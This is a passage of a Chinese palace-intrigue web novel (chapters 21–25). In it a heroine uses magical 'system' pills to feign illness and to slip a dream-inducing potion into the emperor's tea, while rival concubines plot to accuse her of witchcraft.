《女配上位,我成了这届宫斗冠军》 第21章 羡慕嫉妒恨 自从自己进宫之后,太后对自己从来没有过好脸色。 她一开始以为是贺云徽对自己太过宠爱,耽误了其他人承宠怀孕。 后来贺云徽逐渐也去了别的宫里,除了她之外也有妃子陆续传出好消息,自己又生下了两个孩子,但太后还是对她不冷不热的。 她实在是想不通是为什么。 太后一看她的表情就知道她在想什么了,一脸算计的样子,看着就倒胃口。 转头就把眼神放在了刚刚偷偷舔嘴的姜舒月身上。 正好这时,宫人们陆续端上了一碟碟精心制作的点心,放在了每一位来请安的妃子手边。 宋滢和太后如何,姜舒月没留意,她的注意力都被这一碟点心吸引了。 在123给剧情里头,太后一直对这个贵妃十分厌恶,但却一直没写是因为什么。 看着没有人注意自己,她便拿起一块点心放入口中,咀嚼过后,眼睛一亮。 她抬起头朝方静姝看过去,示意她尝尝。 方静姝接到她的眼神有些不可思议,她下意识地往太后的方向看了一眼。 好像没有人注意到她们的小动作,方静姝放下心来,也学着姜舒月的样子,捏起一块点心品尝起来。 谁知太后已经将她俩所有的动作都收入眼里。 太后无声的笑了一下,又让宫人们给上了竹海金茗。 “还是太后娘娘心疼姐妹们,”淑妃掩面一笑,只要宋滢吃亏,她就高兴,“也就是您老人家不喜人多,不然妾身可是要天天来打扰您的。” 宋滢听她话里有话,心里暗恨。 太后听她说的好听,但也只是微微一笑,“人老了,比不得你们年轻人精力旺盛。” “怎么会呢?太后娘娘瞧着还如同二八年级般年轻呢。” 这话说的是越来越没边了,没有那个女人会喜欢听别人提起自己的年纪,哪怕只是夸奖自己年轻。 就见她唇边的笑容淡了下来,淑妃好像也意识到自己说错话了,嗫嚅地坐了下来。 眼看着贵妃和淑妃都没有在太后这里另眼相待,底下原本还蠢蠢欲动,想要奉承的人都安静了下来。 埋头苦吃的姜舒月和方静姝也放下了手,乖巧地坐着。 大眼镜眨巴眨巴的,仔细看还能看到她唇边的点心碎屑。 123看不下去,提醒了姜舒月,她又忙乱地拿着手绢擦着嘴巴。 姜婉清一贯和这两个人不对付,见她俩吃瘪忍不住,借着抬手的动作遮掩,嘴角勾起一抹嘲讽的笑。 “淑妃姐姐也真是的,这大好的日子,可不是过来给太后娘娘添堵的。” 身为宣威侯府的嫡女,太后年轻的时候,就对这些溜须拍马刻意讨好的行径嗤之以鼻。 有这功夫不如多看点兵书,争取跟太后有点共同话题来得快。 一群蠢货。 “你!” 淑妃被刺之后愤然而起,想要发怒。 谁知太后轻咳了一下,瞬间将她吓的呆在原地,那动作要起不起的,有些好笑。 “行了,都回去吧。下下个月皇帝南巡,贵妃拟好随行人员,安排一下吧。” 宋滢乐得看淑妃吃瘪,连带着刚才被太后忽视的心情都好了起来,微笑着应了。 淑妃在太后的永康宫中发怒失仪,按规矩是要被责罚的。 但太后却并没有要责罚的意思,好似并不在意这个人做了什么。 众人刚要走的时候,太后又突然开口,“姜美人,方才那点心可还喜欢?” 姜舒月心里一惊,以为自己藏在人群里就不会被发现,谁承想竟然都被看得一清二楚。 “回太后娘娘,太后娘娘这的点心做的精致,味道也比妾身吃过的点心要好上许多,妾身没忍住……多吃了几块。” 听她说完其他人才看向刚刚她的位置,那一碟点心果然叫她吃了七七八八。 太后却笑了起来,“无妨,即喜欢,佩兰,再给姜美人准备一些让她带回去。” 其他人尤其是刚刚丢了脸的淑妃,和自认被姜舒月下药的王常在、何御女,嫉妒得眼睛都红了。 凭什么!凭什么她这么轻易就得到了太后的优待?! 姜婉清也十分意外,原本她以为太后不会对任何妃子有好脸色呢。 看来自己这个庶妹还真是有些东西的。 姜舒月还不知道,自己在姜婉清的心里已经从一个怯懦小白兔,变成一个白切黑的黑心汤圆了。 方静姝倒是替她开心,如果姜舒月能够得到太后的庇佑,将来有人想要对她下手也要掂量一下了。 直到姜舒月捧着一个食盒,出了永康宫之后,她还有些晕晕乎乎的。 静玉接过她手里的盒子,内心也为她得到了太后青眼而高兴。 淑妃心气不顺,顾忌还在永康宫门口,只能暂时按捺住自己的情绪,在经过姜舒月的时候,狠狠地瞪了她一眼。 “姐姐,姐姐?” 姜舒月听到方静姝正在唤她,回神问道:“怎么了?” 方静姝看着她的眼睛,嘴边的话又咽了回去,摇摇头。“还没去过姐姐宫里,今日可否去姐姐那讨杯茶喝呢?” 姜舒月当然看出来她的欲言又止了,但是她没说,自己也不好再追问,万一又哭了可怎么办。 “好呀,”姜舒月自然地拉住她的手,“走吧。” 王常在和何御女在她的身后,两人都恶狠狠地瞪着姜舒月。 牙龈几乎被她咬出血。 【宿主注意,对方应该马上要告发你了。】 姜舒月哼了一声,不怕她不搞事,就怕她拉个大的。 【我等着她们,123你帮我实时监控她们。】 123小猫点点头。 “啪——” 一本奏折直接从上首,砸向了跪着的张逊头上,“你给朕好好看看,看你都干了些什么好事!” 贺云徽怒不可遏的厉声说道,张逊是自己提上来的,但是却在自己的眼皮下底下公然卖官鬻爵,置律法于不顾。 一个中州刺史,若是背后无人支撑,如何能如此顺利实行计划。 掉落下来的奏折上赫然写着:中州刺史张逊自受命以来,不思报效朝廷,反而利用职权,公然出售官职,以权谋私。据查实,其卖知府一职,索银十万两;卖县令三职,每职索银五万两。此外,尚有其他低级官职亦在其列,总计索银五十余万两。 张逊不敢看,额头上布满了冷汗,身体抖如秋风中的落叶,连连磕头求饶:皇上恕罪,臣知错了,请皇上开恩! “开恩?”贺云徽他猛地一拍桌子,“你卖官鬻爵,贪赃枉法,难道只是你一人所为?背后必有人撑腰,是谁给了你这么大的胆子?” 宣明垫内的其他官员也都噤若寒蝉,无人敢出声。 张逊眼里闪过一丝犹豫,随即一狠心,闭眼大喊:“求皇上恕罪,全都是臣一人所为,臣一时糊涂,被贪欲蒙蔽了双眼,求皇上开恩,给微臣一个改过自新的机会。” 贺云徽站起身来,走到殿中一脚将他踹到在地:“改过自新?你这等败坏法纪、贪婪无厌之徒,还有何面目求饶?朕若饶了你,如何向天下百姓交代? 来人,将他押入刑部严加审讯,务必查出所有涉案人员!” 事到如今,张逊面如死灰,知道自己的仕途已毁,再无挽回之地,只能在绝望中哀求:“皇上,臣知错了,求皇上从轻发落……” 贺云徽却不再听他多言,挥手示意左右:“将他拖下去。” 侍卫们迅速行动,将那张逊拖出金銮殿,哭喊声渐渐消失在宫墙之外。 回到龙椅上的贺云徽,阴沉的目光扫视着底下站着的一群人,开口说道:“朕知道你们当中有人,私下有些不干净的勾当。但你们最好把自己的尾巴藏好了,若是被朕发现了,不然今日的张逊就是他日的你们!” “臣等谨记皇上教诲,定会严守法纪,不敢有丝毫懈怠。” 第22章 不许嫌弃 也许是那两人的眼神太过于直白,就连方静姝主仆和静玉都察觉到了。 方静姝回头看了一眼,还被王常在狠狠地剜了一眼。 在梦里,这两人的下场也并不怎么好。 御女在一次承宠之后就怀孕了,这个消息对于贺云徽和太后来说,都是一个大好的消息。 身边的人更是把她当做祖宗一样供了起来,谁知却助长了她嚣张的气焰。 在怀孕不足三个月的时候,就失足落水淹死了。 说是失足,但事实如何谁知道呢? 只知道兰馨阁里所有的宫女太监,也因此事都被牵连。 而王常在一生无宠,就住在云烟阁里,直到最后抑郁而死。 在梦里,今日虽然淑妃一样被太后娘娘斥责了,但是并没有发生后来给姜姐姐送点心的事情。 难道是因为自己的一些举动,改变了事情的轨迹? 她暗暗摇头,算了,只要自己不侍寝就好。 皇上虽好,但生命更宝贵,宋滢有权有势,想要弄死自己根本就是动动手指头的事情。 自己只要小心一些,总能躲过她的算计。 她又看向了姜舒月拉着自己的手,微微一笑。 至少,进宫一趟也并不是一无所获。 几个宫人第一次见到姜舒月主动带了其他妃子回来,却也没有因为方静姝的位份要低于姜舒月就怠慢了她。 纷纷给她行礼,明夏还将之前贺云徽赏赐的好茶给拿了出来。 用现代的话来说,方静姝就是社恐i人了,坐在那里就安安静静的,基本都是姜舒月在引导她聊天。 两人已经从一开始姐妹,进阶到了可以直呼对方姓名的熟稔程度了。 “静姝,听说你那宫里有个荷花池,种了不少荷花?” 姜舒月想到现代吃到的叫花鸡,还有莲子做的莲子羹,口水都要流下来了。 方静姝点头,“确实有荷花池,最近是花期,开了不少荷花,月姐姐若是得空,便去我那坐一坐。” 那荷花池是方静姝现在最爱待的地方,不光有美景,还有好闻的花香。 姜舒月听了眼睛一亮,“我曾吃过一道美食,正是用荷叶做的,到时候可以做给你尝尝。” 方静姝有些意外,“月姐姐竟还会做些吃食,既然这样,那妾身随时恭候姐姐。” 她摆摆手,“不是什么好东西,吃个新鲜。” 聊着聊着竟过去了一个时辰,姜舒月最近总会午睡,这会已经开始打哈欠了。 方静姝也不好继续叨扰姜舒月,“瞧我,说着就忘了时辰,眼下都已未时了,姐姐也该休息了。” 姜舒月也有些不好意思,实在是夏日午后容易困乏。 “这会日头正毒着,静玉去给取把伞来……来给你家娘娘挡着些日光,别中了暑气。” 若烟接过油伞道了谢之后,便扶着方静姝离开了。 望着她离去的背影,姜舒月叹口气,这么好的姑娘,最后却要被宋滢用那种事情陷害。 既然两人现在也算是朋友了,若她以后不会背叛自己,自己肯定保她平安。 人一走,姜舒月更是控制不住眼皮打架,明夏和静玉只好加快速度给她更衣。 当最后一抹余晖洒落在宫廷的琉璃瓦上时,贺云徽终于从宣明殿出来。 他眉头紧锁,福安这会也不敢说什么话了就静静地跟在身后。 他心里头有事,脚步却不停,等他反应过来的时候,人已经到了弦月宫门口了。 福安抬头看了一眼宫门上的匾额,心里突得放下了心。 若是姜美人的话,或许还真的能安抚陛下。 小路子眼尖,看到了站在门口的皇帝,连忙跑过来给他请安。 “奴才给陛下请安,陛下吉祥。” “嗯,”贺云徽抬脚就往里面走,“你家娘娘呢?” 小路子起身小跑跟在侧边,“回陛下,娘娘刚午休起身,这会在内室里呢。” 说话间,贺云徽已经踏入了正殿。 静玉本来正在给姜舒月整理衣物,抬头便看见了贺云徽大步流星地走了进来。 “陛下吉祥。” 静玉请安的声音惊动了里面坐着梳头的姜舒月,脚上连鞋子都没穿就急匆匆地跑出来。 还没等她行礼,贺云徽大手一挥,所有宫人都退了出去。 径直拉住了姜舒月的手,揽着人又坐到了床榻上,“不必了。” 眼神落到她没穿鞋的脚上,又有些不悦,“怎的不穿鞋子?” 姜舒月够不到地上,雪白的脚就这样垂在床边。 贺云徽又仔细打量了一下她,怎么这么会长,就连脚都长在自己的心坎上了。 身体比脑子更快的做出了反应,一把就握住了她白嫩的脚,拇指还在脚上细细摩挲着。 姜舒月怕痒,忍不住瑟缩了一下,“陛下~” 嗓音娇娇软软的,还带着些笑意,就算是靠着他也像没有骨头一样,赖在他身上哼唧。 贺云徽喉滚动了一下,唇慢慢靠近她的耳边,“爱妃还没回答朕的问题。” “地上铺了地毯,踩着舒服。”姜舒月被他磨得没了脾气,双手又揪着他的衣领,靠在胸前嘟囔。 说着还缩了一下脚,结果贺云徽扣得紧,她没有得逞。 突然像是想到些什么,她轻轻推了一下贺云徽,“陛下先放开妾身,妾身有东西要给您。” 贺云徽挑了挑眉,倒也顺势放开了她。 就见她像一只蝴蝶一样,蹁跹地转进了内室,过了一会儿手里拿着什么东西走了过来。 “陛下,夏日蚊虫多,妾身找明夏配了些驱虫的药草,做了一个香囊给陛下……” 然后就看她像是献宝一样,递给贺云徽。 贺云徽没动,就静静地看着她手里的香囊。 “妾身女红不好,”姜舒月说着就红了脸,“您别嫌弃。” 就在姜舒月马上就要装不下去的时候,贺云徽伸手将香囊拿在手里,漫不经心地问道:“亲自绣的?” 姜舒月猛猛点头,又嘟了嘟嘴,“妾身可是绣了好几天呢。” 又抬起头来,呲牙说着:“陛下不许嫌弃!” 那样子一点威慑力都没有,倒像是一只奶猫,虚张声势地,想要告诉别人自己很厉害一般。 贺云徽也没嫌弃,直接就系在了身上。 看着姜舒月的样子,终于是没忍住,伸手一把将她拽到了怀里,铺天盖地的吻就落了下来。 “唔……” “呼吸。”贺云徽的唇贴着她的唇角,吻去了水渍,又将人抱紧了一些。 姜舒月脑子却想的是:这男主半个月没进后宫了,憋坏了吧? 因为现在自己大腿上顶着一处火热,她眨着眼一动也不敢动,生怕擦枪走火。 最后到底什么也没发生,贺云徽就这样抱着姜舒月,直到那处不再灼热。 贺云徽深吸一口气,“天气渐热了,叫底下奴才多送些冰块来,但是也莫要贪凉。 不够就说,底下奴才朕会叫福安去安排,需要什么只管去拿。” 姜舒月点点头,整个人挂在贺云徽身上,“陛下也要注意身子,不要着凉不要熬夜要准时用膳。” 他一愣,“谁给你的胆子,都管道朕的头上了。”说着伸手拍了一下姜舒月的屁股。 姜舒月差点被拍的整个人弹起来,“妾身不敢,只希望陛下要先紧着自己的身子,才半个月不见,您都瘦了。” 贺云徽只安抚性的捏了捏她的后颈,声音还有些低哑,“嗯,今晚朕就不留了,明日朕再来看你。” 第23章 宫廷戏精必备良品 姜舒月还以为他今天晚上会留下来呢,不过转念以想也是。 皇上半个月没有进后宫,一来就往自己这里跑,是生怕自己架的不够高啊。 看样子大概率是要去宋滢那的,她也没有失望,乖乖点头,然后又好好的把人送到门口。 有探听到风声的妃子们,还没等自己羡慕嫉妒的时候,又听皇上离开了弦月宫往朝阳殿去了,在弦月宫的时间满打满算不过待了半个时辰。 幸灾乐祸的已经开始笑话姜舒月失宠了,也有精明一些的猜到皇上的用意,暗暗叹息,为什么得到眷顾的不是自己。 姜舒月看贺云徽已经离开之后,便打开了系统商城,找到了之前就看好的小药丸:沉疴幻影丸 【沉疴幻影丸:宫廷戏精必备良品!服用后,你将立刻变身为“病美人”;脸色苍白,体温下降,脉搏变得微弱,仿佛随时都会消失,让御医怀疑自己是不是在给幽灵看病; 一颗药丸药效为3天,若连续服用,症状会逐渐加重,但别担心,停药后几天内你就会恢复活力,体质更胜以往! PS:使用注意事项:本药丸仅供特殊场合应急使用,用后请避免剧烈运动,不建议长时间或频繁服用,除非你真的一直想在床上呆着; 药丸效果期间,建议有一位“戏精”朋友在旁照料,以防你的演技被揭穿!兑换积分:10积分1颗。 兑换成功,剩余积分:215】 她算着天数,毫不犹豫的兑换了2颗,莹白的药丸瞬间凭空出现在了她的手心中。 本来一开始她是打算用凉水,把自己弄病的,但是想到古代医术比较落后,实在担心自己的小命不够折腾。 只好在系统商城里翻了一下能用的药丸,就让她找到了这个,一看症状还听玄幻的,跟被人诅咒了一样。 只是假病,等到所谓的巫术被破解之后,自然就会慢慢好起来了,简直完美。 捏着这小小的药丸,姜舒月直接塞到了嘴里。 嗯……还有股巧克力味。 药效果然也是立竿见影,姜舒月马上将宫人都叫了进来。 其他人不知道她是在装病,一进来看到她脸色煞白都慌了神,“娘娘?!您这是怎么了?” 明夏更是直接把上了她的脉,把完一脸惊愕,“您?!……” 扶风因为癸水也是小脸煞白,跟姜舒月的脸放在一起,活像死了三天一样苍白。 “嘘,不要惊慌,我这是装病,明日早上静玉去贵妃那告假,明夏去太医院请太医过来,知道怎么说了吧?” 静玉点头,但眼里还是难掩担心。 “表情一定要到位,千万不能让人抓住破绽了。” 虽然用了药丸,但是姜舒月还是一夜好眠到了第二天辰时。 侧耳听了一下,静玉已经准备出发去朝阳宫了,姜舒月又闭上眼睛打算美美的再睡一会。 今日不用请安,各宫起的都晚,宋滢也不例外。 “娘娘,”黛青撩了门帘进屋,躬身在宋滢耳边轻声耳语了一番。 宋滢听完之后,描眉的手停了下来,“病了?” “是,听说这病来的蹊跷,昨夜就开始了,现下已经起不来床了。”黛青将静玉的话又复述一遍给宋滢。 昨日皇上第一个先去了弦月宫的时候,宋滢心里不是不生气,甚至都想让丹枫去将皇上截过来。 但为了维护自己不争不抢的人设,她还是忍住了。 后来他转道来了朝阳宫,宋滢心里那一点不开心也烟消云散了,两人也很是温存了一番。 却没想到姜舒月突然病倒了。 装病? 这是她心里第一个想法。 “请太医了吗?”装病也无所谓,自己可以让她真病。 黛青接过宋滢选好的发簪插入发髻内,“请了,这会应该已经在弦月宫了。” 宋滢嗯了一声,过了一会又说:“盯着点。” 黛青应是便退了出去。 “母妃!”一个稚嫩的声音响起,还没等宋滢反应过来,大皇子贺元修就风风火火地跑了进来,一头扎进了宋滢的怀里。 宋滢不查被撞了个踉跄,“哎哟,大殿下,可使不得!” 奶娘跟在贺元修身后,惊慌地给宋滢跪下,“娘娘吉祥。” “母妃您看!”贺元修手上攥着一朵荷花,高高举着,“母妃这朵是荷花池里最好看的荷花,孩儿特意给您摘的!” 宋滢接过他递过来的荷花,让丹枫找了一个精美的花瓶放在了桌子上,“谢谢,母妃很喜欢。” 看他玩得满头大汗,又拿着手帕给他擦了擦汗。 “起来吧,冒冒失失的成何体统。”奶娘战战兢兢地站了起来,心里不停叫苦。 大皇子现在五岁,正是精力旺的时候,有的时候作起来一堆宫人都看不住。 偏偏自己又不能多加阻拦,只苦了伺候的宫人,每天都担惊受怕。 “今日的课业可都做好了?”宋滢似乎想到了什么,柔声问道。 贺元修原本还笑着的脸瞬间垮掉,“母妃,课业太枯燥了,孩儿不想做……” 他还没说完就见宋滢的脸色沉了下来,丹枫见状连忙将奶娘赶到外间。 “课业如何能说不做就不做?”她声音全然没了刚才的温情,“你若不努力将来怎么……” 话到嘴边打了个转又咽了回去,“元修,你不会是你父皇唯一的儿子,懂了吗?母妃将来只能指望你了。” 贺元修才五岁,一直以来宋滢将他保护得太好,并没有让他接触到宫里这些阴私。 也导致了贺元修虽然在宫中长大,但充其量只是比旁的孩子聪明调皮了一些,坏心眼却是没有的。 眼看宋滢就要发火,贺元修的嘴也瘪了起来,“母妃……” 嗓音带着哭腔。 “不许哭!” 宋滢厉声喝止,他像是被吓到了一样,瞪大了眼睛,委屈的眼泪蓄满了眼眶。 看他难过得不行,宋滢又软下声音,“元修,听母妃的话,母妃不会害你,只要你好好做课业,你想要什么母妃都可以为你寻来。” 贺元修不明白母妃为什么一直让自己努力做课业,他实在是厌烦了做课业,一看到脑子就发昏。 可是如果不答应母妃,她会很难过吧? “孩儿知道了,母妃您别生气,我这就回去做功课。” 他小小的脑袋瓜里已经有了完美的计划,既能让自己给母妃交差,又能不耽误玩。 “去吧,让丹枫给你备些冰乳酪。”宋滢以为他真的理解自己的良苦用心,也不再板着脸,温柔摸了摸他的头。 看到宋滢又恢复了慈母的样子,贺元修心里松了一口气,生气的母妃好可怕! 外面日头渐盛,兰馨阁内,王常在和何御女手里不停地打着扇子,额头上还是沁出汗水。 两位都没有宠爱,就连冰也比别人少,手都要扇出残影了也没有凉快下来。 王常在心里隐隐有些不安,“何妹妹,这计划,当真可行吗?” 何御女闻言内心不屑,但面上还是一副“没问题”表情。 “王姐姐,东西我们已经放过去了,若是不趁机将人除掉,她就要动手除掉我们俩了,你忘了上次我们中毒了? 更别忘了,因为这事,我们俩这辈子侍寝无望,这和杀了我们有什么区别?我决不能忍受她还在我们面前耀武扬威!” 原本还有些动摇的王常在,听到何御女说起这事,立刻又恨上了姜舒月,若不是因为她,自己怎么会落到这个下场? 哪怕时间久一些,兴许哪天皇上就想起自己,召自己侍寝也不是没可能。 但是现在这点念想也被断送掉了,怎么能不让人怨恨。 “你说得对!她本也没有给咱们留活路,咱们也不必再顾忌什么。” 萱草站在她们身后,一脸的麻木。 第24章 说,朕赦你无罪 自从她将木头塞入弦月宫之后,不管这计划是否成功,她都知道自己最后都是难逃一死。 成功了,何御女少不得要灭口。 不成功,自己也会陪着何御女王常在被处置。 至于现在为什么没事,只不过是因为她们计划中,有不得已让自己出面指证的环节。 既然都会死,何必还要挣扎呢? 她就这样听着二人在密谋着,如何告发姜舒月。 最后决定——写告密信! 这样就算计划失败了,起码不会有人知道是谁告的密。 也不知道她是该说她们聪明还是愚蠢,不用说,送信的人又是自己了。 “你,过来,”两人商量好之后,何御女果然又将萱草叫了过来,“你来写,就说发现姜美人在宫里搞巫蛊之术,然后趁夜送去朝阳宫。” 萱草现在已经不反抗了,只是漠然的听之任之。 写好之后何御女还仔细看了一遍,确保没有任何纰漏,随手从妆奁里挑了一根玉簪塞到了萱草手里。 “好好做,事成之后,少不了你的好处。” 萱草看着手里的玉簪,无声地笑了笑,“奴婢,谢娘娘赏赐。” 那玉簪,布满了石纹,就是拿去卖钱也嫌不够费劲的,然而它就这样到了自己的手里。 自己还要对这个人感恩戴德。 呵…… 萱草低着头,何御女并看不清她的表情,只看她还愣愣地跪在那里。 心下有些不耐烦,“还愣着干嘛,准备准备,别让人发现了。” “明夏丫头,慢点慢点……老夫、老夫实在是跑不动了。” 明夏头也不回,脚步却慢下来了一些。 刘太医如今年岁已高,可别叫自己给累昏过去。 就这样一路被明夏拉着到了弦月宫,气儿还没喘匀就被她推入正殿内。 还没开始把脉,只见姜舒月卧于榻上,面色苍白。 他拿出一方手帕垫在手腕之上,手轻轻搭在上面。 片刻之后,刘太医眉头微蹙,沉吟道:“娘娘的脉象颇为虚弱,脉搏细微,若有若无。这种情况通常只有在重病之人身上才见得到,但娘娘并无任何病症,实在是蹊跷。” 站在一旁的扶风听了大惊失色,急忙说道:“这...这可如何是好?刘太医,求您一定要治好我家娘娘!” 刘太医面色凝重,没有马上回答扶风,而是提笔写了一道方子。 “放心,老夫定当竭尽全力。待我开上几剂温补之药,以增强娘娘的体质,以观后效。此外,娘娘需要静养,避免情绪波动,以免加重病情。” 姜舒月虽然闭着眼睛,但是耳朵竖的比谁都高,听到太医的话心中暗自好笑,这药丸的效果还真不错。 【那必须的!系统出品……】 姜舒月【必属精品嘛~我知道啦~】 临走之前,刘太医又跟明夏交待了一番:“娘娘的脉象,初触之下似乎微弱至极,仿佛游丝,几乎难以察觉。老夫从未遇到过这种脉,或许可以秉明圣上,再请其他太医一同会诊,多方面检查。” 明夏扶着刘太医出门,“多谢刘爷爷,只是娘娘担心会耽误陛下处理事务,严禁我们几个去请陛下,现在只能先照着您的方子试一下。” “别送了,回去吧,好好照顾你加娘娘,服完药记得观察娘娘的病情变化,两日之后老夫再来一趟。” 流云缓动,夕阳的余晖渐渐退却,热浪丝毫没有因为太阳西落而平息一些。 “陛下,”福康一路小跑到了贺云徽面前,跪下回禀,“姜美人病了,请了太医……” 还没等福康说完,贺云徽脸色一变,径直越过他超弦月宫走去。 送走刘太医之后,明夏心里也不免有些打鼓,娘娘说是装病,但这脉象却并非能装出来的,希望真的别有什么事情才好。 姜舒月倒是忘记了自己现在的人设,躺在床上拿着话本看得入迷,不时还发出一阵笑声。 这下连明夏都相信了,她真的没啥问题。 一连看了三本话本之后,姜舒月总算是放下了书。 “娘娘,今日用膳吗?” 静玉掀帘进屋问道,姜舒月一问才知道已经快要到申时了。 通过123的监控,姜舒月已经知道,贺云徽在来的路上了。 姜舒月摇摇头,让静玉把这些话本都拿下去藏好,也将自己给贺云徽准备好的东西拿了出来。 【梦寐仙缘丸,服用效果:服用者在入睡后,将根据药丸中预设的梦境场景进入特定的梦境,兑换积分:10积分一颗。剩余积分:205】 看到内室已经没有人在了,姜舒月就把药丸放入了桌上的水壶里。 药丸一投入到水里就直接化在了水里,闻着也没有什么气味。 以往经常在影视剧内看到,有武功的人都能闻到水里下的药。 问过123之后才知道,系统里的药丸全都是无法被人用五感识别出来的。 姜舒月也放心的扔进去就不管了,又躺了回去等待贺云徽的到来。 “皇上吉祥~” 众人没想到贺云徽来的这么快,惊慌的跪下请安。 略过众人,直接进入了内室。 罗汉床上,昨日走之前脸色还很红润的小人,现在脸色苍白的躺在床上。 如果不仔细看,甚至都看不出来胸膛的起伏。 心脏像是被一只无形的手拿针扎了一下,细细密密的疼从心房蔓延开。 垂下的手指动了一下,贺云徽大步走进坐在床榻上。 他伸出手轻轻地碰上了她的面颊,用大拇指缓缓地摩挲着她的脸。 只一晚上没见,她就变成了这样毫无生气的样子。 “陛下……”像是感觉到他的触碰,姜舒月艰难地挣开双眼。 看到贺云徽的瞬间,眼睛就红了起来,“我……是不是……要死了?” 贺云徽喉咙滚动了一下,眉头皱的更厉害了。 “不会的,朕,朕不会让你出事,福安!” 正在门外守候的福安听到疾步走进屋,“陛下有何吩咐?” “去把所有太医都叫过来!” “是。”福安得令马上带着福明往太医院赶去。 贺云徽又把弦月宫所有宫人都叫了出来,他坐在椅子上,宫人们跪了一地。 福康立在一旁拿着茶壶给贺云徽倒茶,那茶正是姜舒月下了药的。 他接过喝了一口,是自己上次赏赐给她的茶叶。 又想到姜舒月现在在里面躺着,心底的心疼让他有些心慌意乱。 这种感觉,还是自己第一次感受到。 “你们是怎么照顾的,怎么就一晚上人就病成这样了?” 宫人们纷纷磕头求饶,静玉谨记姜舒月的话,带着哭腔回道:“陛下恕罪,娘娘昨夜晚膳前后还好好的,夜里突然起了高热,整个人不停地说着胡话。 宫门落钥奴婢们无法请太医,幸得明夏会些医术,不停给娘娘想办法降温,直到今日早晨开了宫门才去请了太医。” 贺云徽蹙眉,“为何不去朝阳宫找朕?” 静玉默了一瞬,才开口:“陛下每日日理万机,娘娘不愿奴婢们惊扰陛下。” 他听了心里想的却是另一回事。 美人位份过低,自己去了贵妃宫里,她一个人无权无势,即便想要去请,也要顾忌事后会不会被贵妃记恨。 手上捏着杯子,逐渐用力,位份还是太低了。 突然不喜欢她这样谨慎的性子,在他眼里,姜舒月不该是这样的。 她应该是更加肆意的才对。 又想到静玉说的,“你说她说胡话,说了些什么?” “这……”静玉好像犹豫着不敢说。 贺云徽一看她这表情就知道说的可能是关键,“说,朕赦你无罪。” 随即静玉又斟酌了一下,猛地一磕头,“娘娘,娘娘说有人拿着红绳绑她,还拿……针不停扎在她的身上,她身上好多针……” 一旁的福康和明禄听得脸色都变了。 红绳,针,两个平常并不起眼的东西,现在结合在一起只会让人想到另一种可能。 贺云徽脸色也是一变,手上没忍住,茶杯就被他摔了出去,掉落在地上碎成一片。 第25章 醒了就起来喝药 “你说的可是真的?!” “奴婢不敢胡说,明夏一直跟奴婢贴身照顾娘娘,她也听到了。”静玉知道明夏原先也算是半个贺云徽手底下的人,贺云徽自然是更信任她的。 他朝明夏看了一眼,明夏点点头,“陛下,事关重大,奴婢们不敢随意胡说。刘太医说娘娘脉象奇怪,无法对症下药,只能开了一些温补的药材先喝着。” 贺云徽深吸了一口气,不管哪个朝代,都对巫术深恶痛绝。 但是如今,却有人在他的后宫里用巫术害人。 “银翎。” 几乎是话音刚落,门口就好像凭空出现了一个穿着白色劲装的男子。 “属下在。” 宫人们都是第一次见到活的暗卫,虽然还都跪在地上低着头,但是也偷偷地往后面看了一眼。 “去查。” 他声音冷硬,还带着一丝怒气。 银翎一抱拳,“是!”瞬间又消失无踪。 看得众人都瞠目结舌,原来,这就是高手吗? 看了看还跪着的人,贺云徽只好挥挥手让他们都下去了,自己则进入内室。 “谢陛下。” 刘太医回去就拿着脉案一直研究,几个同僚看他总盯着那一份脉案,也都起了好奇心,凑过来。 这一看不要紧,当值的太医都一起研究了起来。 “从来没见过这么奇特的病症,老刘,下次复诊可否让老夫也一同前去?”一位和刘太医年岁相当的胡太医摸着花白的胡子说道。 稍年轻一些的李太医立刻持反对意见,“这可不行,胡太医年事已高,如何能过分操劳。明日正好是我给贵人们诊平安脉,不如让我去吧。” 福安带着福明进来的时候,看到的就是一堆人开始,为了应该谁去复诊吵得不可开交的样子。 他嘴角抽了抽,重重地咳了一声。 屋里瞬间一静。 “今日当值的太医都跟咱家来吧,姜美人得了重病,陛下召集大家一同前去。” 众人眼前一亮,正愁没借口跟老刘去呢,拿着药箱纷纷跟着福安往弦月宫走。 “陛下,”福安刚说了两句话就被贺云徽制止,比了一个小点声的手势,“太医们都到了。” 福安放低声音轻手轻脚地走了进去。 “让他们都过来给姜美人看看。” 一时间,太医们像是不要钱一样涌入了弦月宫内。 来的一共是六个太医,每一个太医把完脉都眉头紧锁,嘴里翻来覆去地嘀咕着:“这不对啊,这脉象,人不可能活下来。” 贺云徽看他们进进出出,一个时辰过去了,也没拿出一个像样的说法。 福安看他脸色不对了,忙让太医们先出去给贺云徽回话。 “陛下,姜美人这病……脉象甚是奇特,忽隐忽现,若断若续,臣行医数十载,此等情况实为罕见。” 回话的正是年岁一高的胡太医,他本来就是在外行医的赤脚大夫,因医术精湛被贺云徽破格提到了太医院。 行医多年也不曾把过这么奇怪的脉象。 李太医还在观察姜舒月的面色,“观娘娘面色苍白如纸,神态疲惫,此乃气血大亏之兆。然而,其呼吸却异常平稳,真是令人费解。” 精通药理,擅长诊治奇难杂症的方太医这时说话了:“依臣所见,娘娘之病不似寻常之症,或许与她近日所服药物有关,不知娘娘近日可曾服用何药?” 闻言的两个婢女细细想了想,摇头,“我家娘娘近日并未服用什么特别的药物,吃的都是寻常吃的,就连凉物都很少吃。” 这…… 太医们面面相觑,没有病因没有参考,他们无法提供更好的治疗办法,都跟早上刘太医的说辞一样,先喝点温补的药看看效果。 “朕命你们回去好好研究姜美人病情,尽快研制出对症之药,每日都要来给姜美人复诊,出了问题,朕唯你们是问!” 太医们全都扑通跪了下来,“皇上恕罪!臣等定当竭尽全力!” 贺云徽不想再看他们,挥手让他们滚。 姜舒月本来是在装昏迷,没想到真的睡过去了,等到她在睁眼时,就见贺云徽坐在桌案前处理政务。 身上的龙袍也换成了浅色的常服,浓黑的长发不似以往那般束着,都放了下来只用一根月白色发带固定。 桌案上堆满了奏折和文书,但他的注意力似乎并不完全在这些国家大事上。 时而凝视着手中的文件,时而又抬头,眼神往她这里看两眼。 姜舒月动了动身体,贺云徽注意到了她的动静,立刻放下手中的笔,走了过来坐下握住了她的手,轻声问道:“你醒了,可感觉好些了?” “陛下,您,怎么还在这里?” 怎么在这办公了,她没说梦话吧? 他伸手轻抚姜舒月的额头,感受着她的体温,眼中闪过一丝担忧:“朕放心不下你。” 姜舒月苍白的脸上露出一抹微笑,“妾身哪有那么脆弱……” 贺云徽见她精神还不错,伸手捏了一下她的脸颊,“是谁下午哭着说自己要死了?” 姜舒月哽住,这不是演戏吗? 作势就要翻身被贺云徽一把拦住。 “醒了就起来喝药吧,一直给你温着。” 